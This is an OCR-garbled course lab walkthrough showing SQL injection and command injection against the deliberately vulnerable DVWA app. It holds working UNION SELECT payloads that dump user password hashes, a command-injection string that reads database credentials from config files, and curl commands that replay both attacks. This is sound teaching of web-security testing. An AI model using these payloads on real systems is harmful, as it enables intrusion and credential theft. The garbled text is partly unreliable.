Vulnerability: SQL

User ID:

New Attnbute

nput . form
= «div 3d="npin body*»
= «div classe"body_padded*»

<hl»Vwinerability:! SOU Injection</hl>
= <div class«"vulnerable

«“h3I»User 10! </h3>

code area*>»

= «form method- CGET* action=*2*»

«QAnput type="text® nase="3d*»

«anput type=“subsat”
«/fora»

</div»

nt: 1000 4

rtacal

sy1ddle

alagn

)

Inherited from for
h2>More info</h2»

fore maln.e
v fieldset

{
) Damn Vulnerable Web ... &) Weicome To Backtrack

3. Increase the Textbox Size
o Instructions:

1. Type the

following:
2. Click on

size=100
the close button
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Damn Vuinerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

[ Damn Wilnerable Web App (... % | ]

@ S . hnp /192 168 1 !1'&;‘69.‘4‘&&-.;!Ecvalxl&:es:sdlf/ & '_‘C‘- -"v G

Vulnerability: SQL Injection

User ID:

? & Camsnle  HTMLY CS$ St DOM  Nm P

= <div 1d="sa:in_body*» a Ainput maln.c

= <div class="body_padded*» textares
<hl>Vulnerability: SOL Injection</hl» select

Lnerabl ¢

= «div class="vulnerable code area*>

font: 10008 o
<h3>User 1D: </h3> sersf
= «fore method="GET" action="2*» vertical
ool | JRTPH
«<1nput typee"subsit® value="Sub ARe="Subait*» )

«/fors» Inherited from for
“/dav»
h2»Mare snfo</h2» fora main.c
v fieldset
» «ul >
— i S .
] ) root@bt: Narwww T AT e A S TR I TS Welcome To Backtrack 5 - Commercial - Mozilla

4. Start Tamper Data
o Instructions:

1. Click Tools
2. Click Tamper Data
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

H

Damn Vulnerable Web App (DV...

& B S B mpins2i6s.1.1

[Setup

Brute Force Submit
q Command Execution
CSRF More info
Fileinciusion |
SQL Injection |
SQL Injection (Blind)
| Upload
XSS reflected
" XSS stored

-
1

=) root@bt: Nar/wwwl.. ) Damn Wulnerable We... [ *cookie practice.txt ..

5. Minimize Tamper Data
o Instructions:

1. Click the Minimize Down Arrow
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* Tamper Data - Ongoing requests

] Response Header Name Response Header Value

7 Damn Vulnera I *cookie_practi

6. Display DVWA Usernames and Passwords

o

e}

Instructions:
1. Place the following in the text box:

= '"union select null, concat(first_name,0x3a,last_name,0x3a,user,0x3a,passw:
» Remember to put a space before and after the two hypt
2. Click the Submit Button
3. Click the Tamper Data Window in the bottom tray
Note (FYI) :
= concat, concatenates the tables columns first name, last nam
= O0x3a,is the the hexidecimal representation for a colon(:).
» fromusers, refers to the users tables in the dvwa database.
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

[ Damn Vulnerable Web App (DV...

Home

Vulnerability: SQL Injection

Instructions

Brute Force

Command Execution

File Inclusion

$QL Injection (Blind)

Upload

|
i
I
]
|
|
|

7. Copy Encoding Union URL
o Instructions:

0. Click on the second GET

1. Right Click on
2. Click Copy All

» " union sel

) Damn Wulnerable Web ...

User ID:

ect null, concat{first_name,0x3a last_name, 0x3a,user,0x3a,password) from user:
Submit ¢

ID: ' union select null, concat(first name, 0x3a,last name,b0x3a,u!

First name:
Surname: admin:admin:admin:5f4dcc3b52a765d61d8327deb882¢cf99

ID: ' union select null, concat(first name,0x3a,last name,0x3a,u:

First name:
Surname: Gordon:Brown:gordonb:e99a18c¢428¢b38d51260853678922e03

ID: ' union select null, concat(first name,b®x3a,last name,b0x3a,u:

First name:
Surname: Hack:Me:1337:8d3533d75a3e2c¢3966d7e0d4fcc69216b

ID: ' union select null, concat(first name,0x3a,last name,bOx3a,u!

Eires nama.

3

[Tamper Data

the Referer Link
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l Show Al

LoadFlags
LOAD_DOCUMEN

Total Duration Size  Method  Status  Content Type
258 ms 5452 GET 200 text/html
unknown GET unknown
123: 5 unknown GET pending  unknown http://l... LOAD_NORMAL
123:53:4... Oms oms unknown POST pending  unknown http:/fs... LOAD_BYPASS_C.
123:59:4... Oms oms -1 GET Loaded fr... unknown http://1... LOAD_FROM_CA.

Host 192.168.1.118

User-Agent Mozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Accept text/css,*/*.q=0.1

Accept-Language en-us.en;q=0.5

Accept-Encoding gzip, deflate You are I0.0kil"!g f?l’ l!,ne
Accept-Charset 1S0-8859-1,utf-8:0=0.7,+:q=0.7 that contains "union

Connection keep-alive {
Referer http://192.168.1,.118/dvwajvulnerabilities/sqli/7id=%27+union+select+null...

security=low; PHPSESSID=6kavcaltmq8b32djqplhovj584

root@bt: var/www/iog 3 Damn Winerable Web ) Tamper Data - Ongoin...

8. Open gedit

e}

Instructions:
0. cd /var/www/logdir/
1. gedit union exploit.txt 2>/dev/null &
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* root@bt: /var/www/logdir

H

root cd /var/www/logdir/

root@bt¥/var/www/logdir#
root@bt:/var/www/logdir#

root@bt:/var/www/l

ﬁ gedit union_exploit.txt 2>/dev/null & i

[~ root@bt: varwww/log... &) Damn Vulnerable Web .. ¥) Tamper Data - Ongoin.

9. Paste and Save
o Instructions:

0. Right click on the white portion of the screen
1. Click Paste
2. Click the Save Button
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*union_exploit.txt

686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1

Right Click on the white portion of the screen
7,%:4=0.7
jlnerabilities/sqli/?id=%27+union+select+null%2C+concat%28first name%2((

bassword%29+from+users+--+&Submit=Submit
altmq8b32djqplhov)584

_ PlainText v TabWidth: 8 v Ln1,Col1

[root@bt: var/www/l ) Damn Wilnerable we %) Tamper Data - Ongoi E *union_exploit.txt (V... E

10. Execute Curl Encoded Union SQL Injection
o Note (FYI):
= Resize and place your GEDIT screen in the upper half of yc
* Resize and place your TERMINAL screen in the bottom half c
o Instructions:
0. Place the following curl command into your BackTrack Termi
PHPSESSID and DVWA IP Address.

» curl-b "security=low;PHPSESSID=6kavcaltmq8b32djqplhovj584" --location
"http://192.168.1.118/dvwa/vulnerabilities/sqli/?id=%27+union+select+nul1%
rs+--+&Submit=Submit" | grep -i password | sed 's/<br>/\n/g' | tee dvwa_pas

o Note(FYI):
0. You will not need to replace the security setting low, unl
1. Replace 6kavcaltmg8b32djgplhovj584 with your PHPSESSID

2. Replace _ with the IP address of the DVWA (Fec
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| B
*union_exploit.txt &

Host=192.168.1.118
User-Agent=Mozilla/5.0 (X11; Linux 1686; rv:5.08.1) Gecko/20100161 Firefox/5.6.1
|Accept=text/css5,*/*%;q=0.1

|Accept-Language=en-us,en;q=0.5

Accept-Encoding=gzip, deflate

Accept-Charset=150-8859-1,utf-8;4g=0.7,%;4=0.7

Connection=keep-alive

Ra http://192.168.1.118/dvwa/vulnerabilities/sqli/?id=%27+union+select+nul1%2C+concats28first name%2(
Clast name%2COx3a%2Cuserk2C0x3a%2Cpassword¥29+fromsusers+--+&5ubmit=Submit

\Cookie=security PHPSESSID{GKavcaltmqab32d]qpLhov]584]

| 3 * root@bt: /var/www/loc 1 2

Brobt@bt: /var/www/logdir# curl -b "securityslow PHPSESSID6kavcaltmg8b32digplhov]58
onV\'http://192.168.1.118/dvwa/vulnerabilities/sqli/?id=%27+union+select+null%2C+conca

t name%2C0x3a%2Clast name%2(COx3a%2Cuser%2C0x3a%2Cpassword%29+from+users+--+&Submit=Sul
grep -1 password | sed 's/<br>/\n/g' | tee avwa_passworas.txt

Copy and Paste the cookie information and Referer Web Link from
your union_exploit.txt file to your BackTrack Terminal Window

= ) root@bt: Nar/www/io.. % Damn Vulnerable We &) Tamper Data - Ongo I ‘union_exploit.txt (Vv

11. View File Contents
o Note(FYI):
= The file will contain First Name, Last Name, Username and
* TImage a script that remotely injects a malicious union ste
backend website developers should decode encoded input bef
o Instructions:
0. 1s -1 dvwa passwords.txt
1. cat dvwa passwords.txt
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* root@bt: /var/www/logdir

ls -1 dvwa passwords.txt
|-rw-r--r-- 1 root rooU 1087 2014-08-14 10:05 dvwa passwords.txt
root@bt: /var/www/logdir#
root@bt:/var/www/logdir#
root@bt:/var/www 10% cat dvwa passwords.txt

<pre>ID: ' union select null, concat(first name,0x3a,last name,0x3a,us
,password) from users --

First name:
Surname: admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99</pre><pre>ID:

|, concat(first name,Ox3a,last_name,Ox3a,user,0x3a,password) from users --

First name:

Surname: Gordon:Brown:gordonb:e99al18c428cb38d51260853678922¢e03</pre><pre>ID: ' union s
jull, concat(first name,0x3a,last name,©x3a,user,0x3a,password) from users --

(First name:
(Surname: Hack:Me:1337:8d3533d75ae2¢3966d7e0d4fccb69216b</pre><pre>ID: ' union select nu

jcat(first_name,Ox3a,last_name,@x3a,user,0x3a,password) from users --

First name:

\Surname: Pablo:Picasso:pablo:0d107d09f5bbedOcade3deSc71e9e9b7</pre><pre>ID: ' union se
11, concat(first name,0x3a,last name,0x3a,user,0x3a,password) from users --

IFirst name:
Surname: Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99</pre><pre>ID: ' union selec
| concat(first name,Ox3a,last name,bOx3a,user,0x3a,password) from users --

IFirst name:
Surname: John:Gray:jgray:e99al18c428cb38d5f260853678922e03</pre>

root@bt: /var/www/logdir#

union sele

W™ ] root@bt: Narwww/io.. ") Damn Winerable We %) Tamper Data - Ongoi I *union_exploit.txt (v

Section 14: How to encode a Command Injection

1. Inspect Element (Textbox)

e}

Instructions:
1. Click the Command link.
2. Right Click on the Textbox
3. Click Inspect Element
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox

- St | http://192.168.1.118/dvwaNvulnerabilities/exec/ L B
| =
D\WA)
4
o - Vulnerability: Command Execution
SR 1 Ping for FREE
Setup l

Enter an IP address below

CSRF More info

= 5] root@bt: Narwww ) Damn Vuinerable Web ... ) Welcome To Backtrack

2. Change Textbox Length

o

Instructions:
1. Click on 30 and type 85
2. Click on the Close Button
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox

B Damn Winerable Web App (DV...

« St | http//192.168.1.118/dvwaNuinerabilities/exec/ vel 9y
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= - Vulnerability: Command Execution
Instructions
Aasitons J Ping for FREE
Setwp J
- Enter an IP address below
?’ - | Y\ Consale HYML>Y CSS§ ‘“cnpt DOM Nt AP
: ' ; . Style  Co..
= «div class="body_poadded*» a input main.c
<hl>Vulnerability: Comsand Execution</hl> ‘.e-ta:ea
= «div classe"vulnerable_code_area*» 2"1"‘
«“h2>Ping for FREE«/h2> ; font: 1008 »
<p»Enter an 1P address below: «/p>» serif;

= «fora methods"post* ocno-s- £° nanes"ping*»

vertical

«input type-"u‘n.'.' subsit® value="subsit*> )
</fora» Inherited from for.

«/div» -
- » - > ors B
h2>More info</h2 Change 30 to 85 B etdsa s

Y
{
»

B Er

ot@bt: Nariwww Y DamnWinerable Web ... £ Welcome To Backtrack

3. Start Tamper Data

o

Instructions:
1. Click Tools
2. Click Tamper Data
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force - Mozilla Firefox
: View 1 ol |
[ Damn Vulnerable Web App (DV...

|4 B S | htp192.168.1.1

| g e d Execution
Instructons BN cicorrecent i
Setup " 2 Tamper Data

Enter an IP address below:

Brute Force [ |

] _submit_
CSRF l
File Inclusion 1 More info
SaL Injection I
SQL Injection (Blind) |

4. Clear and Minimize Tamper Data
o Instructions:

1. Click Clear if present
2. Click the Minimize Down Arrow
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| Time

Filter |
Duration Total Duration Size Method

Content Type URL

Load Flags

{10:34:3... Oms

10:34:3... 2123 ms 2222 ms 5756 POST
Oms unknown GET

10:34:3... Oms oms unknown GET

text/htmi
unknown
unknown

http://1... LOAD_DOCUMEN...
http://1... LOAD_NORMAL
http://1... LOAD_NORMAL

5. Retrieve DVWA Database Username and Password From Config File

o

o

Instructions:

1. Place the following command in the textbox
= 127.0.0.1; find /var/www/html/dvwa/* -name "*config*" -print | xargs egrep -i ‘(data

2. Click on the Submit Button

3. Click on the Tamper Data Window in the lower tray

Note (FYI) :

1. Typically, poorly configured website applications will act

the one below.
2. A countermeasure could be to

(1)

never provide a command ¢

credentials in a non-web-accessible directory.
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Player «
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[® Damn Vuinerable Web App (DV...

S ‘ http://192. 168.1.1la_/d‘vwalvulnerabikitnes/exec/x

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

submit

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp reg=1 ttl=64 time=0.091 ms
64 bytes from 127.0.0.1: icmp req=2 ttl=64 time=0.057 ms
64 bytes from 127.0.0.1: icmp req=3 ttl=64 time=0.084 ms

127.0.0.1 ping statistics
3 packets transmitted, 3 received, 0% packet loss,
rtt min/avg/max/mdev = 0.057/0.077/0.091/0.016 ms

time 2000ms

» '7172?6})74137fi;1217.fv§ivnmn,ﬁl?'ama/' -name "*config*” -print | xargs egrep -i "(databasejuseripassword)' 7

ohn- <€ NDywa i

3

(uarciuad/btml fdanua/eanfin/canfan dnc ‘dh_datahase' | =

ot@bt: variwww/io ) Damn Winerable We... [Tamper Data [*union_exploit.txt (/

6. Copy Post Data

o

Instructions:

1. Click on the first POST you see
2. Right Click on POSTDATA
3. Click on Copy All

tehavmat .

/var/wew/html/dvwa/config/config.inc.php~:# If you are having problems conneqti
/var/www/html/dvwa/config/config.inc.php~:# Database management system to us{
/var/www/html /dvwa/config/config. inc php~:# Database varjables
/var/www/html/dvwa/config/config.inc.php~:$ DVWA[ ‘db database' | = ‘dvwa’;
Jvar/wew/html/dvwa/config/config.inc.php~:$ DVWA[ 'db user' ] = 'root’';
Jvar/www/html/dvwa/config/config.inc.php~:$ DVWA[ 'db password' ] = 'dywaPAS$wO
TVar/WAW/ LML/ aVWa/CONT10/CONTLg.1NC.pIp:# 17 you are Naving problems connecyin
/var/www/html/dvwa/config/config.inc.php:# Database management system to use
/var/waw/html /dvwa/config/config.inc.php:# Database variables




3] BackTrackSR1 - VMware Player (Non-commercial use only) T 7D e
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Tamper Data - Ongoing requests

[ l Show All

ContentType  URL  LoadFlags  m
text/mtmi http//l... .

110:52:0... Oms oms unkrfown GET unknown http://1... LOAD_NORMAL
10:52:0... Oms oOms unknown GET unknown http//1... LOAD_NORMAL
110:58:4... 1999 ms 1999 ms 808 POST 200 applicationjvnd.... http://s... LOAD_BYPASS...
10:58:4... 1425 ms 1425 ms 3019 GET 200 applicationjvnd.... http://s... LOAD_BYPASS...
110:58:4... 708 ms 708 ms 3802 GET 200 applicationjvnd.... http://s... LOAD_BYPASS...
10;58:4... 812 ms 812 ms 1283 GET 200 applicationwvnd.... httpi//s... LOAD_BYPASS...
110:59:4... 2545 ms 2545 ms 3343 GET 200 applicationjvnd.... http://s... LOAD_BYPASS...
110;59:5,.. 2402 ms 2402 ms 1018 GET 200 apolicationivnd.... htto:is... LOAD BYPASS...
Request Header ...  Request Header Value - _Response Heade...
Accept text/html, application/xhtmi+xml application/xml;q=0.9,*/*;q=0.8 al | Status |

Accept-Language en-us.en;q=0.5 Date
Accept-Encoding gzip, deflate Server
Accept-Charset 1S0-8859-1,utf-8:9=0.7,*:9=02 LooK for the POSTDATA that X-Powered-By
Connection keep-alive contains the find .- | Expires
Referer http://192.168.1.118fivwa/vulnerabilities/exec/ Cache-Control

Cookie security=low; PHPSERSID=6kavcaltmqgBb32djqpihovi584 ‘ Pragma
Content-Type application/x-www -uriencoded Content-Length
Content-Length 151 | Connection

ip=127.0.0.1%3B+find+%2Fvarse 2Fwww26 2FhtmI% 2F dvwa®2F* +-nam.. _J Content-Type

-

Plain Text v
) Tamper Data - Ongol

Tab Width: 8 v Ln 35, Col 315

7. Open gedit

e}

Instructions:
1. cd /var/www/logdir/
2. gedit find execution.txt 2>/dev/null &
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* root@bt: /var/www/logdir

[root@bt: cd /var/www/logdir/

(root@bt: /var/www/logdir#
r#

root@bt: /var/www q,
iroot@bt: var/www »

gedit find execution.txt 2>/dev/null &

] root@bt: Narwww/lo... ¥) Damn Vulnerable We [Tamper Data - Ongol... [*union_exploit.txt (/

8. Paste and Save
o Instructions:
1. Right click on the white portion of the screen
2. Click Paste
3. Click the Save Button
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Player «
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x *find_execution.txt (/var/www/logdir) - gedit

3 ind_execution.txt ¥

686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1

kml ,application/xml;q=0.9,*/*;q=0.8

Right Click in the white part of the screen
.7,%:G=0.7

lnerabilities/exec/

altmq8b32djqplhov)S584
-urlencoded

rA2Fwwwi2Fhtal %2Fdvwa'2F *+ - name+%22*conf1g* %22+ - print+%7C+xargs+egrep+ - |
subnit=submit

PlainText v  TabWidth: 8 v  Ln 12, Col 161
[root@bt: Nar/www/i £) Damn Vulnerable We... &) Tamper Data - Ongoi.. [ *find_execution.txt (/... E

9. Execute Curl Encoded Command Execution Injection
o Note (FYI):
»= Resize and place your GEDIT screen in the upper half of yc
* Resize and place your TERMINAL screen in the bottom half c
o Instructions:
0. Place the following curl command into your BackTrack Termi
PHPSESSID and DVWA IP Address.
= curl -b "security=low;PHPSESSID=6kavcaltmq8b32djqplhovj584" --data "ip=1
print+%7C+xargs+egrep+-i+%27%28database%7Cuser%7Cpassword%29%27&
1. Press <Enter>
o Note (FYI):
0. Replace 6kavcaltmg8b32djgplhovij584 with your PHPSESSID

1. Replace _ with the IP address of the DVWA (Fec
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union_exploit.txt 8 *find_execution.txt %

=192.168.1.118

User-Agent=Mozilla/5.0 (X11; Linux i686; rv:5.8.1) Gecko/20100101 Firefox/5.0.1
Accept=text/htal, application/xhtmlexml,application/xml;q=6.9,*/%;G=0.8
Accept-Language=en-us,en;q=0.5

Accept-Encoding=gzip, deflate

Accept-Charset=150-8859-1,utf-8;g=0.7,%;g=0.7

Connection=keep-alive

Referershttp://192.168.1.118/dvwa/vulnerabilities/exec/ k

Cookie=security=low; PHPSESSID=6kavcaltaq8b32djqplhovi584 ‘Q;
tent-Type=application/x-www-Torm-uriencoded T

1p=127.6.0.153B+1ind+%2Fvars2Fwwwi2Fhtml%2Fdvwa%s2F*+ - nane+%22* confiq* %22+ -print+%7C+xarqs+eqrep+ -
28databaseX7Cusers7Cpasswords29%27&submit=submit

root@bt: /var/www/logdir

w/logdir#
s/var /logdir#

:/var/www/logdir# curl -b 'security-low;PHPSESSID-Gkavca1tm$8b32d!'qglhovz584"
ip=127.0.0.1%3B+find+%2Fvars2Fwwwh2Fhtml%2Fdvwa%s2F*+-name+%22*conf1g*%22+-print+%/C+
grep+-1+%27%28database%/Cusers/Cpassword%29%27&submit=submit” --location "http://192.
g/dvwa/vulnerabilities/exec/" | tée find.txt -

All you need to replace is PHPSESSID and IP Address
PRI IEXTY T R_ROWIOT: 8 Y U I0, Lol I
1 root@bt: Nariwww/io., " Damn Winerable we % Tamper Data - Ongo E *find_execution.txt (/ L&

:

Section 15: Proof of Lab

1. Proof of Lab (On BackTrack)

o Instructions:
1. egrep ' (database|user|password)' find.txt
2. date
3. echo "Your Name"

o Proof of Lab Instructions:
1. Do a <PrtScn>
2. Paste into a word document
3. Upload to Moodle
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* root@bt: /var/www/logdir

root@bt: egrep '(database|user|password)' find.txt
/var/www/html/dvwa/config/config.inc.php~:# If you are having problems connecting to t
L database and all of the variables below are correct
/var/www/html/dvwa/config/config.inc.php~:$ DVWA[ 'db database' ] = 'dvwa';
/var/www/html/dvwa/config/config.inc.php~:$ DVWA[ 'db user' ] = 'root';
\/var/www/html/dvwa/config/config.inc.php~:$ DVWA[ 'db password' ] = 'dvwaPASSWORD';
/var/www/html/dvwa/config/config.inc.php:# If you are having problems connecting to tk
| database and all of the variables below are correct
/var/www/html/dvwa/config/config.inc.php:$ DVWA[ 'db database' ] = ‘'dvwa';
/var/www/html/dvwa/config/config.inc.php:$ DVWA[ 'db user' ] = 'root';
/var/www/html/dvwa/config/config.inc.php:$ DVWA[ ‘db password' ] = 'dvwaPASSWORD';
root@bt: /var/www/logdir#

root@bt: /var w/logder#

root@bt: /var/www 1? date

Thu Aug 14 11:29:35 2014

root@bt: /var/www/logdir#

root@bt: /var/www/logglr#
jroot@bt:/var/www ¢ echo "Your Name"
Your Name

root@bt:/var/www/logdir#

root@bt: /var/www/logdir#

root@bt: /var/www/logdir#

o

™1 root@bt: variwww/lo... " Damn VWulnerable We.. ) Tamper Data - Ongol.. K *find_execution.txt {/




